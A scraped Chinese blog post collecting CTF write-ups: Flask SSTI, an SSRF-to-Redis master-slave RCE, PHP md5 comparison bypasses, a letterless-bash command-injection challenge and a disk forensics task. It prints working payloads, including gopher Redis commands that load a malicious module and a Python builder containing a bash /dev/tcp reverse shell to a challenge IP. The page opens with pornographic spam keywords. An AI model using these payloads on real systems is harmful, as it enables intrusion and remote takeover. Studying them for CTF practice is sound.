日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

一周刷题记录 | WebMisc

發布時間:2024/9/30 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一周刷题记录 | WebMisc 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • BUU
    • 0x00:[WesternCTF2018]shrine
    • 0x01:[網鼎杯 2020 玄武組]SSRFMe
  • HECTF
    • 0x00 ezphp
    • 0x01:ssrfme
    • 0x03:簽到
  • 2020 安洵杯
    • 0x00:Bash
    • 0x01:王牌特工


BUU

每天一道題,沖沖沖!


0x00:[WesternCTF2018]shrine

首頁便給了一段flask代碼,簡單分析一下

import flask import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/') def index():return open(__file__).read()@app.route('/shrine/<path:shrine>') def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

發現這一段代碼

app.config['FLAG'] = os.environ.pop('FLAG') #pop() 函數用于移除列表中的一個元素(默認最后一個元素),并且返回該元素的值。


意思便是該題將FLAG存儲到了配置變量中,但下面的代碼過濾了config以及()

這個題考察的是SSTI,那下面就要想辦法去使用config查看所有應用程序的配置值(FLAG值應該包含在其中),需要構造一個和config作用相同的payload,可以使用flask兩個內置函數進行構造

  • url_for() – 用于反向解析,生成url
  • get_flashed_messages() – 用于獲取flash消息
  • 先尋找一下全部全局變量

    {{url_for.__globals__}} {{get_flashed_messages.__globals__}}


    發現有current_app全局變量,查看一下config

    {{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}} {{url_for.__globals__['current_app'].config['FLAG']}}

    0x01:[網鼎杯 2020 玄武組]SSRFMe

    <?php function check_inner_ip($url) {$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; }function safe_request_url($url) {if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}} if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);} } else{highlight_file(__FILE__); } // Please visit hint.php locally. ?>

    這么長的代碼,拆開來看,先看一下check_inner_ip函數

    輸入的需要匹配到http|https|gopher|dict,下面了解這幾個函數,就清楚這段代碼所要表達的意思了

    • parse_url:解析 URL,返回其組成部分
    • gethostbyname:返回主機名對應的 IPv4地址
    • ip2long:將 IPV4 的字符串互聯網協議轉換成長整型數字

    再來查看safe_request_url函數要表達的意思,先判斷是否是內網IP,如果不是,再跳轉到下面。

    • curl_init — 初始化一個cURL會話
    • curl_setopt — 設置一個cURL傳輸選項
    • curl_exec — 執行一個cURL會話
    • curl_getinfo — 獲取一個cURL連接資源句柄的信息


    也是一種PHP的請求方式,那這存在什么漏洞那?

    可以看篇文章
    https://www.anquanke.com/post/id/86527
    這個代碼出現漏洞原因便在于,同時用了cURL和parse_url

    所有的問題,幾乎都是由URL解析器和請求函數的不一致造成的,即使有具體的規定,但是不同的編程語言仍然使用他們自己的實現

    在cURL作為請求的實施者時,它最終將evil.com:80作為了目標
    而其他的幾種URL解析器則得到了不一樣的結果,則產生了不一致。
    當他們被一起使用時,可以被利用的有如下的幾種組合

    所以可以就構造payload,利用cURL請求外網,利用parse_url請求內網信息

    ?url=http://1em9n@0.0.0.0/hint.php

    0.0.0.0代表本機ipv4的所有地址,使用ip2long函數處理后也是0,因此可以繞過去check_inner_ip函數的檢測。

    繞過去之后便發現這一段代碼

    得到redis的密碼是root,這道題考察的是ssrf+redis getshell,但之前接觸這方面的題過于少了,所以到這里是一點思路都沒有

    看了師傅們的WP,遇到ssrf+redis getshell這種的,考察一般都是以下幾種姿勢:

    • 可寫webshell
    • 寫ssh公鑰
    • 寫crontab反彈shell(僅限centos)
    • 主從復制RCE

    這道題看師傅們的WP,用的方法都是主從復制RCE,什么是主從復制那?

    主從復制,是指將一臺Redis服務器的數據,復制到其他的Redis服務器。前者稱為主節點(master),后者稱為從節點(slave);數據的復制是單向的,只能由主節點到從節點。
    在redis4.0版本以上,可以進行主從復制,主從復制是為了備份文件,即主機復制寫,從機負責讀。思路就是開啟惡意服務,讓靶機redis認為此為redis服務器,利用主從復制,將惡意構造的exp.so文件加載到redis之中,從而實現getshll或命令執行


    https://github.com/xmsec/redis-ssrf
    https://github.com/n0b0dyCN/redis-rogue-server
    要進行主從復制RCE,就需要利用到這兩個工具,第一個用于生成payload,也可以啟動惡意服務,第二個主要是exp.so。注意需要將第二個工具exp.so導入到第一個工具下,也就是和rogue-server.py同目錄,這里先開啟一下rogue-server.py 用于偽裝為主redis,它開啟的端口為6666


    修改ssrf-redis.py



    運行一下

    生成了payload,但無法利用

    看了師傅們的WP,就手動去構造吧,然后再進行二次url編碼(因為用到了curl)

    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root config set dir /tmp/ quit //設置備份文件路徑為/tmp/ 只有/tmp有權限 ,只需要有讀權限即可,所以設置目錄的時候要多試試

    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root config set dbfilename exp.so slaveof 172.16.176.127 6666 quit #設置備份文件名為:exp.so


    gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root module load /tmp/exp.so system.rev 172.16.176.127 6663 quit #導入 exp.so ,反彈shell到172.16.176.127:6663



    通過這道題學到了很多東西,ssrf+redis的考法還有很多種,會在另一篇博客中專門總結一下。

    參考博客
    https://www.jianshu.com/p/a940731cddaf

    HECTF

    0x00 ezphp


    第一個if條件,md5強類型,沒有強制限制類型,所有用數組就可以

    param1[]=123&param2[]=111

    strtr() 函數轉換字符串中特定的字符。
    自己本地測試一下就知道了

    第一個if($md5_1 != $md5_2)不能使用hash弱類型比較,經過strtr() 函數替換之后,再使用hash弱類型繞過,既然這個函數可以將md5中出現的cxhp給替換成0123,第一個參數找一個數字(必須為全數字),md5加密后只要是ce開頭的即可

    payload:

    http://121.196.32.184:8081/?param1[]=123&param2[]=111&str1=2120624&str2=QNKCDZO


    這里在寫腳本找ce開頭的數字時挺有趣的
    md5加密之后只可能含有以下a、b、c、d、e、f這個幾個字符
    在寫腳本的時候,一開始只認為只要開頭是0e即可,但是測試發現行不通,明明也是0e開頭,為什么不相等那?如:


    并沒有出現我們想要的flag,一開始以為是位數的問題,結果不是,觀察了通用的Hash 比較缺陷,有一個共同的特征

    后面都是數字,不包含字母,才能使用科學計數法進行弱類型比較

    import hashlib def md5(f):return hashlib.md5(f).hexdigest() for i in range(0, 10000000):if 'c' in md5(str(i))[0:2]:if 'a' not in md5(str(i))[2:]:if 'b' not in md5(str(i))[2:]:if 'e' not in md5(str(i))[2:]:if 'd' not in md5(str(i))[2:]:if 'f' not in md5(str(i))[2:]:print 'i:' + str(i) + ' md5:' + md5(str(i))

    0x01:ssrfme


    正則表達式限制我們不能使用SSRF file_get_content函數的黑魔法了,那只能按照http或https協議來,然后下面有一個異常處理代碼,如果發生異常則返回flase,恰好最后一段代碼有一個!,所以我們只要讓代碼異常拋出即可利用函數讀取flag。

    但這個異常不知道要如何利用,往下面看發現可以從這段代碼中得到flase

    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

    只要滿足傳入的地址經過ip2long函數處理后和前面不相等即可

    簡單了解這幾個函數的作用:

    • parse_url:解析 URL,返回其組成部分
    • gethostbyname:返回主機名對應的 IPv4地址
    • ip2long:將 IPV4 的字符串互聯網協議轉換成長整型數字

    0.0.0.0代表本機ipv4的所有地址,使用ip2long函數處理后也是0,便可以使用這個進行讀取flag

    payload:

    ?url=http://0.0.0.0/flag.php

    0x03:簽到

    源代碼給出手機號,下面就是爆破驗證碼

    得到驗證碼之后重置密碼,登陸即可獲取flag

    2020 安洵杯

    0x00:Bash

    代碼也很簡單,命令執行,但是構造payload只能使用這幾個${#}\\(<)\去構造,還是做題少,之前見的無字母數字構造webshell的都不行,只能看官方的WP。

    先了解幾個Shell符號

  • $# => 0
  • $# 的意思是參數的個數,這道題沒有其余的參數所以會是 0
    stdin是標準輸入,一般指鍵盤輸入到緩沖區里的東西
    <<< 的用途是將任意字符串交由前面的指令執行

  • $(($#<$$)) => 1
  • (())表示整數擴展,只是執行,并不會返回值,$$ 代表的是目前的 pid ,pid 會 > 0 所以可以得到 1,${##} 也可以得到1

  • $((1<<1)) => 2
  • <<雙小于號,用來將后繼的內容重定向到左側命令的stdin中

  • $((2#bbb)) => 任意數字
  • 將 bbb 以二進制制轉換成數字,其中2#表示二進制
    命令替換: $(command)
    算術擴展: $((arithmetic))
    stdin重定向: command < file
    stdin文字重定向: command <<< text
    可變的字符串長度: ${#variable}
    bash的參數數量: $#
    bash進程ID: $$

    Linux下高效編寫Shell——shell特殊字符匯總
    因為bash 可以用 $'\ooo' 的形式來表達任意字節(ooo 是字節轉ascii 的八進制),所以可以執行任意命令

    ${!#}<<<$'\154\163'

    ${!#}<<<${!#}\<\<\<\$\'\\${##}$#${##}\' 也就是 $0<<<$'\101' 101是A的ASCII碼值,所以也是在嘗試執行命令A


    所以思路就是構造二進制,然后通過ASCII碼轉化得到所有字母,比如:

    $'\154' ${!#}<<<$((2#${##}$#$#${##}${##}$#${##}$#)) #2#表示二進制,再替換掉2 ${!#}<<<$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#)) $'\163' ${!#}<<<$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))

    所以構造payload

    #通過2進制得到所有的數字,八進制可以執行命令,所以得到七個數字即可 n = dict() n[0] = '$#' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$(($((${##}<<${##}))<<${##}))' n[5] = '$(($((${##}<<${##}))#${##}$#${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}$#))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

    因為這道題0也在白名單中,所以可以將$#直接替換為0也可以,但還有一個問題,仔細看前面舉的$'\154'這個例子,如果bash直接解析的話是l,但是第一次解析的話只是數字

    所以轉換成數字之后就需要用到 <<< 來重定向了,但是一層不夠,只用一層會出現 bash: $'\154': command not found 這樣的報錯,bash一次解析只能解析到成數字,需要第二次解析。需要給原先的命令添加轉義字符

    如:ls \ $0<<<$0\<\<\<\$\'\\${##}$(($((${##} <<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##} <<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##} <<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'


    無命令回顯就用最常見的方法,反彈shell或者是盲注,記錄一下師傅的腳本

    import requests n = dict() n[0] = '0' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$((${##}<<$((${##}<<${##}))))' n[5] = '$(($((${##}<<${##}))#${##}0${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}0))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'f=''def str_to_oct(cmd): #命令轉換成八進制字符串s = ""for t in cmd:o = ('%s' % (oct(ord(t))))[2:]s+='\\'+oreturn sdef build(cmd): #八進制字符串轉換成字符payload = "$0<<<$0\<\<\<\$\\\'"s = str_to_oct(cmd).split('\\')for _ in s[1:]:payload+="\\\\"for i in _:payload+=n[int(i)]return payload+'\\\''def get_flag(url,payload): #盲注函數try:data = {'cmd':payload}r = requests.post(url,data,timeout=1.5)except:return Truereturn False#彈shell ''' url = "http://121.41.231.75:7001/" get_flag(url,(build('bash -i >& /dev/tcp/121.41.231.75/4444 0>&1'))) '''#盲注 # ''' a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' for i in range(1,50):for j in a:cmd=f'cat /flag|grep ^{f+j}&&sleep 3'url = "http://121.41.231.75:7001/"if get_flag(url,build(cmd)):breakf = f+jprint(f) #'''

    0x01:王牌特工


    第一眼看到的是flagbox,然后就binwalk一下,得到一個key值,使用VeraCrypt掛載一下硬盤

    但是是假的,回過頭看一下發現還有coolboy.swp沒有進行分析,應該是隱藏在這里

    先用 fsstat findme 查看鏡像信息

    然后用 ext3grep --inode 2 findme 查看文件目錄

    接著用 ext3grep --restore-file .coolboy.swp findme 恢復指定的文件


    但是是空的,使用vim -r RESTORED_FILES/.coolboy.swp 恢復它的內容。

    得到真正的key值,再重新掛載flagbox,即可得到flag

    總結

    以上是生活随笔為你收集整理的一周刷题记录 | WebMisc的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。